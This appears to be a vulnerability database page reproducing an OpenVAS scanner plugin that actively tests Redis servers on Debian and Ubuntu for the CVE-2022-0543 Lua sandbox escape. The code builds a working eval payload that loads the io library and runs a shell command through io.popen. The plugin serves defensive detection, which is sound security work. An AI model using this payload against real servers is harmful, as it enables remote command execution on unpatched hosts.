Redis RCE Vulnerability (CVE-2022-0543) - Active Check
🗓️ 03 May 2022 00:00:00Reported by Copyright (C) 2022 Greenbone AGType
openvas🔗 plugins.openvas.org👁 36 Views
| Reporter | Title | Published | Views | Family All 71 |
|---|---|---|---|---|
| Exploit for Missing Authorization in Redis | 6 Jul 202204:35 | – | githubexploit | |
| Redis-RCE-x-HTB | 6 Aug 202606:38 | – | githubexploit | |
| cve-poc-collection | 7 Jul 202617:00 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 16 Mar 202206:41 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 16 Mar 202206:41 | – | githubexploit | |
| Exploit for Missing Authorization in Redis | 1 Sep 202216:44 | – | githubexploit | |
| exploit-library | 14 Jul 202602:05 | – | githubexploit | |
| Redis Lua Sandbox Escape Exploit | 27 Apr 202200:00 | – | zdt | |
| CVE-2022-0543 | 18 Feb 202200:00 | – | attackerkb | |
| Astra Linux – Vulnerability in Redis | 20 May 202605:53 | – | astralinux |
10
# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:redis:redis";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.148029");
script_version("2025-10-10T05:39:02+0000");
script_tag(name:"last_modification", value:"2025-10-10 05:39:02 +0000 (Fri, 10 Oct 2025)");
script_tag(name:"creation_date", value:"2022-05-03 04:18:25 +0000 (Tue, 03 May 2022)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2022-03-09 02:03:00 +0000 (Wed, 09 Mar 2022)");
script_cve_id("CVE-2022-0543");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Redis RCE Vulnerability (CVE-2022-0543) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2022 Greenbone AG");
script_family("Databases");
script_dependencies("gb_redis_tcp_detect.nasl", "os_detection.nasl");
script_mandatory_keys("redis/tcp/detected", "Host/runs_unixoide");
script_require_ports("Services/redis", 6379);
script_tag(name:"summary", value:"Redis is prone to a remote code execution (RCE)
vulnerability.");
script_tag(name:"insight", value:"It was discovered, that redis, a persistent key-value database,
due to a packaging issue, is prone to a (Debian-specific) Lua sandbox escape, which could result
in remote code execution.");
script_tag(name:"affected", value:"Redis on Debian and Debian-based systems like Ubuntu.");
script_tag(name:"solution", value:"Update to the latest version from your distribution.");
script_xref(name:"URL", value:"https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce");
script_xref(name:"URL", value:"https://lists.debian.org/debian-security-announce/2022/msg00048.html");
script_xref(name:"URL", value:"https://packetstormsecurity.com/files/166885/Redis-Lua-Sandbox-Escape.html");
script_xref(name:"URL", value:"https://www.debian.org/security/2022/dsa-5081");
script_xref(name:"URL", value:"https://ubuntu.com/security/notices/USN-5316-1");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
exit(0);
}
include("host_details.inc");
include("misc_func.inc");
include("os_func.inc");
if (!port = get_app_port(cpe: CPE, service: "redis"))
exit(0);
if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
exit(0);
if (!soc = open_sock_tcp(port))
exit(0);
cmds = exploit_commands("linux");
# nb: File names taken from the following packages of buster and bullseye:
# - https://packages.debian.org/buster/liblua5.1-0
# - https://packages.debian.org/bullseye/liblua5.1-0
# File names are also the same on Ubuntu (checked on affected 20.04 and 21.10).
# Also note that "redis-tools" (which is a dependency of "redis-server") is having a dependency
# on "liblua5.1-0" on buster and bullseye so only the 5.1 file names (and not the 5.2 or 5.3 ones)
# are used in the list below.
libs = make_list("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"/usr/lib/aarch64-linux-gnu/liblua5.1.so.0",
"/usr/lib/arm-linux-gnueabi/liblua5.1.so.0",
"/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0",
"/usr/lib/i386-linux-gnu/liblua5.1.so.0",
"/usr/lib/mips-linux-gnu/liblua5.1.so.0", # nb: Only available on buster but not on bullseye
"/usr/lib/mips64el-linux-gnuabi64/liblua5.1.so.0",
"/usr/lib/mipsel-linux-gnu/liblua5.1.so.0",
"/usr/lib/powerpc64le-linux-gnu/liblua5.1.so.0",
"/usr/lib/s390x-linux-gnu/liblua5.1.so.0");
foreach pattern (keys(cmds)) {
cmd = cmds[pattern];
foreach lib (libs) {
payload = "eval 'local io_l = " + 'package.loadlib("' + lib +'",' +
' "luaopen_io"); local io = io_l(); local f = io.popen("' + cmd + '", "r");' +
' local res = f:read("*a"); f:close();' + " return res' 0" + '\r\n';
send(socket: soc, data: payload);
res = recv(socket: soc, length: 512);
if (egrep(pattern: pattern, string: res)) {
close(soc);
report = 'By doing the following request:\n\n' + payload + '\nit was possible to execute the "' + cmd + '" command.\n\nResult:\n\n' + chomp(res);
security_message(port: port, data: report);
exit(0);
}
}
}
close(soc);
exit(0); # Results depending on the architecture so no exit(99) here...
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Oct 2025 00:00Current
9.3High risk
Vulners AI Score9.3
CVSS 3.110
CVSS 210
EPSS0.99277
SSVC